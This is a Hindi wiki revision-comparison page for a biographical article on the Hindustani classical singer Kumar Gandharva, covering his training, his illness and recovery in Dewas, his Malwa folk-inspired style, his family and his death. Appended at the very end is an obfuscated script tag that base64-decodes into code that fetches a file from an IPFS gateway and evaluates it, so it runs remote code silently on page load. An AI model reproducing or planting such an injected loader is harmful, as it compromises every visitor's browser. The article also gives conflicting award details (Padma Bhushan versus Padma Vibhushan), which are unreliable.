"कुमार गंधर्व": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
No edit summary |
||
(4 सदस्यों द्वारा किए गए बीच के 6 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 5: | पंक्ति 5: | ||
|जन्म=[[8 अप्रॅल]], [[1924]] | |जन्म=[[8 अप्रॅल]], [[1924]] | ||
|जन्म भूमि= धारवाड़, [[कर्नाटक]] | |जन्म भूमि= धारवाड़, [[कर्नाटक]] | ||
| | |अभिभावक= | ||
|पति/पत्नी= | |पति/पत्नी= | ||
|संतान=मुकुल (पुत्र), कलापिनी (पुत्री) | |संतान=मुकुल (पुत्र), कलापिनी (पुत्री) | ||
|कर्म भूमि= | |कर्म भूमि=[[भारत]] | ||
|कर्म-क्षेत्र=शास्त्रीय गायन | |कर्म-क्षेत्र=शास्त्रीय गायन | ||
|मृत्यु=[[12 जनवरी]], [[1992]] | |मृत्यु=[[12 जनवरी]], [[1992]] | ||
|मृत्यु स्थान=[[देवास]], [[मध्य प्रदेश]] | |मृत्यु स्थान=[[देवास]], [[मध्य प्रदेश]] | ||
|मुख्य रचनाएँ= उड़ जाएगा हंस अकेला..., बोर चेता.., झीनी-झीनी चदरिया..., सुनता है गुरु ज्ञानी... | |मुख्य रचनाएँ= उड़ जाएगा हंस अकेला..., बोर चेता.., झीनी-झीनी चदरिया..., सुनता है गुरु ज्ञानी... आदि। | ||
|मुख्य फ़िल्में= | |मुख्य फ़िल्में= | ||
|विषय=शास्त्रीय संगीत | |विषय=शास्त्रीय संगीत | ||
पंक्ति 30: | पंक्ति 30: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''पंडित कुमार गंधर्व''' (जन्म | '''पंडित कुमार गंधर्व''' ([[अंग्रेज़ी]]: ''Kumar Gandharva'', जन्म: [[8 अप्रॅल]], [[1924]]; मृत्यु: [[12 जनवरी]], [[1992]]) [[भारत]] के सुप्रसिद्ध शास्त्रीय गायक थे, जिनका वास्तविक नाम 'शिवपुत्र सिद्धरामैया कोमकाली' है। पंडित कुमार गंधर्व एक भारतीय शास्त्रीय गायक थे, जो अपनी अनूठी गायन शैली और किसी भी घराने की परंपरा से बंधे रहने से इनकार करने के लिए जाने जाते थे। पंडित कुमार गंधर्व को सन 1977 में भारत सरकार द्वारा कला के क्षेत्र में पद्म भूषण से सम्मानित किया गया था। वह मध्य प्रदेश से हैं। आज उनके राग मधसुरजा, अहिमोहिनी, सहेली, तोड़ी, बीहड़ भैरव, लगन गंधार, संजरी और मालवती जैसे कई राग संगीतकारों द्वारा व्यापक रूप से स्वीकार और अभ्यास किये जाते हैं। कुमार गंधर्व एक प्रसिद्ध भारतीय गायक थे जिन्होंने कई संत कवियों के पदों का गायन किया। इनमें सूरदास जी और कबीरदास जी के पद प्रमुख हैं। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
कुमार गंधर्व का जन्म [[कर्नाटक]] के धारवाड़ में 8 अप्रॅल 1924 को हुआ। और [[पुणे]] में प्रोफेसर देवधर और अंजनी बाई मालपेकर से [[संगीत]] की शिक्षा पाई। शिवपुत्र जन्म जात गायक थे। दस वर्ष की आयु से ही संगीत समारोहों में गाने लगे थे और ऐसा चमत्कारी गायन करते थे कि उनका नाम कुमार गंधर्व पड़ गया।<ref>{{cite web |url=http://www.culturalindia.net/indian-music/classical-singers/kumar-gandharva.html |title=Pandit Kumar Gandharva |accessmonthday=9 अप्रॅल |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=culturalindia.net |language=अंग्रेज़ी}} </ref> | कुमार गंधर्व का जन्म [[कर्नाटक]] के [[धारवाड़ ज़िला|धारवाड़]] में 8 अप्रॅल 1924 को हुआ। और [[पुणे]] में प्रोफेसर देवधर और अंजनी बाई मालपेकर से [[संगीत]] की शिक्षा पाई। शिवपुत्र जन्म जात गायक थे। दस वर्ष की आयु से ही संगीत समारोहों में गाने लगे थे और ऐसा चमत्कारी गायन करते थे कि उनका नाम कुमार गंधर्व पड़ गया।<ref>{{cite web |url=http://www.culturalindia.net/indian-music/classical-singers/kumar-gandharva.html |title=Pandit Kumar Gandharva |accessmonthday=9 अप्रॅल |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=culturalindia.net |language=अंग्रेज़ी}} </ref>जब वे 11 साल के थे, तब उनके [[पिता]] ने उन्हें जाने-माने शास्त्रीय शिक्षक बी.आर. देवधर के पास संगीत सीखने के लिए भेजा। तकनीक और संगीत ज्ञान में उनकी महारत इतनी तेज़ थी कि 20 साल की उम्र से पहले ही गंधर्व खुद स्कूल में पढ़ा रहे थे। कुमार गंधर्व ने मालवी लोक संगीत को बिल्कुल अनूठी जीवंतता और शक्ति दी। वे अपरिचित रागों का आविष्कार कर अपनी संगीत साधना से जीवंत बनाते थे। उन्होंने लोक धुनों का शास्त्रीय रागों से मेल कराया और नयी बंदिशें तैयार करनी शुरू कीं। इस तरह उन्होंने कबीर के पदों को मालवी लोक धुनों के रंग में उतारा और गाना शुरू किया [[कबीर]] के निर्गुण पदों को गाते थे। करीब छह वर्ष के बाद 'कबीर के चदरिया' को उन्होंने अपने राग से एक बार फिर बुना। उनके रचे बंदिशों में शास्त्रीय और लोक रंग एक साथ मिलते हैं। कुमार गंधर्व के गायन में जो स्वर का उठान है और शब्दों के बीच जो शून्यता है उसे सुनने का सुख अनिर्वचनीय है। | ||
====विवाह==== | ====विवाह==== | ||
कुमार गंधर्व जी ने अप्रॅल 1947 में भानुमती जो स्वयं एक अच्छी गायिका थीं, से किया और देवास, [[मध्य प्रदेश]] आ गये। यहाँ आने के बाद वे [[इन्दौर]] गये और इन्दौर वे गाना गाने नहीं [[मालवा]] की समशीतोष्ण जलवायु में स्वास्थ लाभ करने आए थे। उन्हें टी .बी थी जिसका उन दिनों कोई पक्का इलाज़ नहीं था। लेकिन जिस दिन वे इंदौर उतरे वह हाल ही आज़ाद हुए [[भारत]] का सबसे काला दिन था। [[30 जनवरी]], [[1948]] में, [[दिल्ली]] में [[नाथूराम विनायक गोडसे|नाथूराम गोडसे]] ने [[महात्मा गाँधी]] की हत्या कर दी थी। मालवा में स्वास्थ्य लाभ के जीवन की शुरुआत शुभ मुहुर्त में नहीं हुई थी। | कुमार गंधर्व जी ने [[विवाह]] [[अप्रॅल]] [[1947]] में भानुमती जो स्वयं एक अच्छी गायिका थीं, से किया और [[देवास]], [[मध्य प्रदेश]] आ गये। यहाँ आने के बाद वे [[इन्दौर]] गये और इन्दौर वे गाना गाने नहीं [[मालवा]] की समशीतोष्ण जलवायु में स्वास्थ लाभ करने आए थे। उन्हें टी .बी थी जिसका उन दिनों कोई पक्का इलाज़ नहीं था। लेकिन जिस दिन वे इंदौर उतरे वह हाल ही आज़ाद हुए [[भारत]] का सबसे काला दिन था। [[30 जनवरी]], [[1948]] में, [[दिल्ली]] में [[नाथूराम विनायक गोडसे|नाथूराम गोडसे]] ने [[महात्मा गाँधी]] की हत्या कर दी थी। मालवा में स्वास्थ्य लाभ के जीवन की शुरुआत शुभ मुहुर्त में नहीं हुई थी। | ||
====पत्नी भानुमती==== | ====पत्नी भानुमती==== | ||
कुमार जी की पत्नी भानुमती ख़ुद एक गायिका थीं। लेकिन देवास के एक स्कूल में पढ़ा कर गायक पति का इलाज और घर चलाती थीं। जितनी सुन्दर थीं उतनी ही कुशल गृहणी नर्स थीं। कुमार जी स्वस्थ होकर फिर से वह नई तरह का गायन कर सके इसका श्रेय भानुताई को ही दिया जाना चाहिए। | कुमार जी की पत्नी भानुमती ख़ुद एक गायिका थीं। लेकिन देवास के एक स्कूल में पढ़ा कर गायक पति का इलाज और घर चलाती थीं। जितनी सुन्दर थीं उतनी ही कुशल गृहणी नर्स थीं। कुमार जी स्वस्थ होकर फिर से वह नई तरह का गायन कर सके इसका श्रेय भानुताई को ही दिया जाना चाहिए। | ||
====नये कुमार गंधर्व==== | ====नये कुमार गंधर्व==== | ||
जिस घर में कुमार जी स्वास्थ लाभ कर रहे थे, तब वह देवास के लगभग बाहर था, और वहां हाट लगा करता था। कुमार जी ने वहीं बिस्तर पर पड़े पड़े मालवी के खांटी स्वर महिलाओं से सुने। वहीं पग- पग पर गीतों से चलने वाले मालवी लोक जीवन से उनका | जिस घर में कुमार जी स्वास्थ लाभ कर रहे थे, तब वह देवास के लगभग बाहर था, और वहां हाट लगा करता था। कुमार जी ने वहीं बिस्तर पर पड़े पड़े मालवी के खांटी स्वर महिलाओं से सुने। वहीं पग- पग पर गीतों से चलने वाले मालवी लोक जीवन से उनका साक्षात्कार हुआ। संगीत वे सीखे हुए थे और शास्त्रीय गायन में उनका नाम भी था। लेकिन स्वस्थ होते हुए और नया जीवन पाते हुए उनमें एक गायक का भी जन्म हुआ। सन 1952 के बाद जब वे ठीक होकर गाने लगे तो पुराने कुमार गन्धर्व नहीं रह गये थे। | ||
====मालवा की मिट्टी में संगीत की सुगंध==== | ====मालवा की मिट्टी में संगीत की सुगंध==== | ||
एक दिन मामा मजूमदार के घर छोटी सी महफ़िल में गाते हुए उन्होंने अचानक कहा "अब मुझे गाना आ गया"। वह हमारे मालवा के अन्यतम गायक कुमार गंधर्व का जन्म था। उन्हें बचपन से सुनने वाले वामन हरी देशपांडे ने उन दिनों के बारे में लिखा है- | एक दिन मामा मजूमदार के घर छोटी सी महफ़िल में गाते हुए उन्होंने अचानक कहा "अब मुझे गाना आ गया"। वह हमारे मालवा के अन्यतम गायक कुमार गंधर्व का जन्म था। उन्हें बचपन से सुनने वाले वामन हरी देशपांडे ने उन दिनों के बारे में लिखा है- | ||
पंक्ति 48: | पंक्ति 48: | ||
* [[कालिदास]] के बाद कुमार गन्धर्व मालवा के सबसे दिव्य सांस्कृतिक विभूति हैं। | * [[कालिदास]] के बाद कुमार गन्धर्व मालवा के सबसे दिव्य सांस्कृतिक विभूति हैं। | ||
====भानुमती का निधन==== | ====भानुमती का निधन==== | ||
सन 1961 में दूसरे पुत्र को जन्म देते हुए भानुमती का निधन हो गया। कुमार जी ने अपने नये घर का नाम भानुकुल रखा। फिर वसुंधरा जी से दूसरा विवाह किया। भानुमती से हुआ मुकुल गंधर्व, और वसुंधरा की हुई कलापिनी, दोनों ही गायक गायिका हैं। | सन 1961 में दूसरे पुत्र को जन्म देते हुए भानुमती का निधन हो गया। कुमार जी ने अपने नये घर का नाम भानुकुल रखा। फिर वसुंधरा जी से दूसरा [[विवाह]] किया। भानुमती से हुआ मुकुल गंधर्व, और वसुंधरा की हुई कलापिनी, दोनों ही गायक गायिका हैं। | ||
====निधन==== | ====निधन==== | ||
68 वर्ष की उम्र में [[12 जनवरी]], [[1992]] में देवास में उनका निधन हो गया। लोक संगीत को शास्त्रीय से भी ऊपर ले जाने वाले कुमार जी ने [[कबीर]] को जैसा गया वैसा कोई नहीं गा सकेगा। | 68 वर्ष की उम्र में [[12 जनवरी]], [[1992]] में [[देवास]] में उनका निधन हो गया। लोक संगीत को शास्त्रीय से भी ऊपर ले जाने वाले कुमार जी ने [[कबीर]] को जैसा गया वैसा कोई नहीं गा सकेगा। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
*[http://vikaszutshisn.blogspot.in/2010/01/blog-post_20.html मालवा की मिट्टी से जुड़ा शास्त्रीय गायक] | *[http://vikaszutshisn.blogspot.in/2010/01/blog-post_20.html मालवा की मिट्टी से जुड़ा शास्त्रीय गायक] | ||
पंक्ति 62: | पंक्ति 61: | ||
{{शास्त्रीय गायक कलाकार}}{{पद्म विभूषण}} | {{शास्त्रीय गायक कलाकार}}{{पद्म विभूषण}} | ||
[[Category:शास्त्रीय_गायक_कलाकार]] | [[Category:शास्त्रीय_गायक_कलाकार]] | ||
[[Category:पद्म विभूषण]] | [[Category:पद्म विभूषण]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:कला कोश]] | ||
[[Category:प्रसिद्ध व्यक्तित्व]] | |||
[[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:कला कोश]] | |||
__INDEX__ | __INDEX__ | ||
04:53, 8 अप्रैल 2025 के समय का अवतरण
कुमार गंधर्व
| |
पूरा नाम | शिवपुत्र सिद्धरामैया कोमकाली |
जन्म | 8 अप्रॅल, 1924 |
जन्म भूमि | धारवाड़, कर्नाटक |
मृत्यु | 12 जनवरी, 1992 |
मृत्यु स्थान | देवास, मध्य प्रदेश |
संतान | मुकुल (पुत्र), कलापिनी (पुत्री) |
कर्म भूमि | भारत |
कर्म-क्षेत्र | शास्त्रीय गायन |
मुख्य रचनाएँ | उड़ जाएगा हंस अकेला..., बोर चेता.., झीनी-झीनी चदरिया..., सुनता है गुरु ज्ञानी... आदि। |
विषय | शास्त्रीय संगीत |
पुरस्कार-उपाधि | पद्म विभूषण |
प्रसिद्धि | हिन्दुस्तानी शास्त्रीय गायक |
नागरिकता | भारतीय |
अन्य जानकारी | लोक संगीत को शास्त्रीय से भी ऊपर ले जाने वाले कुमार जी ने कबीर को जैसा गया वैसा कोई नहीं गा सकेगा। |
पंडित कुमार गंधर्व (अंग्रेज़ी: Kumar Gandharva, जन्म: 8 अप्रॅल, 1924; मृत्यु: 12 जनवरी, 1992) भारत के सुप्रसिद्ध शास्त्रीय गायक थे, जिनका वास्तविक नाम 'शिवपुत्र सिद्धरामैया कोमकाली' है। पंडित कुमार गंधर्व एक भारतीय शास्त्रीय गायक थे, जो अपनी अनूठी गायन शैली और किसी भी घराने की परंपरा से बंधे रहने से इनकार करने के लिए जाने जाते थे। पंडित कुमार गंधर्व को सन 1977 में भारत सरकार द्वारा कला के क्षेत्र में पद्म भूषण से सम्मानित किया गया था। वह मध्य प्रदेश से हैं। आज उनके राग मधसुरजा, अहिमोहिनी, सहेली, तोड़ी, बीहड़ भैरव, लगन गंधार, संजरी और मालवती जैसे कई राग संगीतकारों द्वारा व्यापक रूप से स्वीकार और अभ्यास किये जाते हैं। कुमार गंधर्व एक प्रसिद्ध भारतीय गायक थे जिन्होंने कई संत कवियों के पदों का गायन किया। इनमें सूरदास जी और कबीरदास जी के पद प्रमुख हैं।
जीवन परिचय
कुमार गंधर्व का जन्म कर्नाटक के धारवाड़ में 8 अप्रॅल 1924 को हुआ। और पुणे में प्रोफेसर देवधर और अंजनी बाई मालपेकर से संगीत की शिक्षा पाई। शिवपुत्र जन्म जात गायक थे। दस वर्ष की आयु से ही संगीत समारोहों में गाने लगे थे और ऐसा चमत्कारी गायन करते थे कि उनका नाम कुमार गंधर्व पड़ गया।[1]जब वे 11 साल के थे, तब उनके पिता ने उन्हें जाने-माने शास्त्रीय शिक्षक बी.आर. देवधर के पास संगीत सीखने के लिए भेजा। तकनीक और संगीत ज्ञान में उनकी महारत इतनी तेज़ थी कि 20 साल की उम्र से पहले ही गंधर्व खुद स्कूल में पढ़ा रहे थे। कुमार गंधर्व ने मालवी लोक संगीत को बिल्कुल अनूठी जीवंतता और शक्ति दी। वे अपरिचित रागों का आविष्कार कर अपनी संगीत साधना से जीवंत बनाते थे। उन्होंने लोक धुनों का शास्त्रीय रागों से मेल कराया और नयी बंदिशें तैयार करनी शुरू कीं। इस तरह उन्होंने कबीर के पदों को मालवी लोक धुनों के रंग में उतारा और गाना शुरू किया कबीर के निर्गुण पदों को गाते थे। करीब छह वर्ष के बाद 'कबीर के चदरिया' को उन्होंने अपने राग से एक बार फिर बुना। उनके रचे बंदिशों में शास्त्रीय और लोक रंग एक साथ मिलते हैं। कुमार गंधर्व के गायन में जो स्वर का उठान है और शब्दों के बीच जो शून्यता है उसे सुनने का सुख अनिर्वचनीय है।
विवाह
कुमार गंधर्व जी ने विवाह अप्रॅल 1947 में भानुमती जो स्वयं एक अच्छी गायिका थीं, से किया और देवास, मध्य प्रदेश आ गये। यहाँ आने के बाद वे इन्दौर गये और इन्दौर वे गाना गाने नहीं मालवा की समशीतोष्ण जलवायु में स्वास्थ लाभ करने आए थे। उन्हें टी .बी थी जिसका उन दिनों कोई पक्का इलाज़ नहीं था। लेकिन जिस दिन वे इंदौर उतरे वह हाल ही आज़ाद हुए भारत का सबसे काला दिन था। 30 जनवरी, 1948 में, दिल्ली में नाथूराम गोडसे ने महात्मा गाँधी की हत्या कर दी थी। मालवा में स्वास्थ्य लाभ के जीवन की शुरुआत शुभ मुहुर्त में नहीं हुई थी।
पत्नी भानुमती
कुमार जी की पत्नी भानुमती ख़ुद एक गायिका थीं। लेकिन देवास के एक स्कूल में पढ़ा कर गायक पति का इलाज और घर चलाती थीं। जितनी सुन्दर थीं उतनी ही कुशल गृहणी नर्स थीं। कुमार जी स्वस्थ होकर फिर से वह नई तरह का गायन कर सके इसका श्रेय भानुताई को ही दिया जाना चाहिए।
नये कुमार गंधर्व
जिस घर में कुमार जी स्वास्थ लाभ कर रहे थे, तब वह देवास के लगभग बाहर था, और वहां हाट लगा करता था। कुमार जी ने वहीं बिस्तर पर पड़े पड़े मालवी के खांटी स्वर महिलाओं से सुने। वहीं पग- पग पर गीतों से चलने वाले मालवी लोक जीवन से उनका साक्षात्कार हुआ। संगीत वे सीखे हुए थे और शास्त्रीय गायन में उनका नाम भी था। लेकिन स्वस्थ होते हुए और नया जीवन पाते हुए उनमें एक गायक का भी जन्म हुआ। सन 1952 के बाद जब वे ठीक होकर गाने लगे तो पुराने कुमार गन्धर्व नहीं रह गये थे।
मालवा की मिट्टी में संगीत की सुगंध
एक दिन मामा मजूमदार के घर छोटी सी महफ़िल में गाते हुए उन्होंने अचानक कहा "अब मुझे गाना आ गया"। वह हमारे मालवा के अन्यतम गायक कुमार गंधर्व का जन्म था। उन्हें बचपन से सुनने वाले वामन हरी देशपांडे ने उन दिनों के बारे में लिखा है-
"न जाने देवास की ज़मीन में कैसा जादू है। मुझे वहाँ की मिट्टी में संगीत की सुगंध प्रतीत हुई।"
मालवा के लोक जीवन से कुमार जी के साक्षात्कार पर देशपांडे ने लिखा, "बिस्तर पर पड़े-पड़े वे ध्यान से आसपास से उठने वाले ग्रामवासियों के लोकगीतों के स्वरों को सुना करते थे। वे उन लोकगीतों और लोक धुनों की और आकर्षित होते चले गये। इसमें से एक नये विश्व का दर्शन उन्हें प्राप्त हुआ।"
- कालिदास के बाद कुमार गन्धर्व मालवा के सबसे दिव्य सांस्कृतिक विभूति हैं।
भानुमती का निधन
सन 1961 में दूसरे पुत्र को जन्म देते हुए भानुमती का निधन हो गया। कुमार जी ने अपने नये घर का नाम भानुकुल रखा। फिर वसुंधरा जी से दूसरा विवाह किया। भानुमती से हुआ मुकुल गंधर्व, और वसुंधरा की हुई कलापिनी, दोनों ही गायक गायिका हैं।
निधन
68 वर्ष की उम्र में 12 जनवरी, 1992 में देवास में उनका निधन हो गया। लोक संगीत को शास्त्रीय से भी ऊपर ले जाने वाले कुमार जी ने कबीर को जैसा गया वैसा कोई नहीं गा सकेगा।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ Pandit Kumar Gandharva (अंग्रेज़ी) (एच.टी.एम.एल) culturalindia.net। अभिगमन तिथि: 9 अप्रॅल, 2012।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>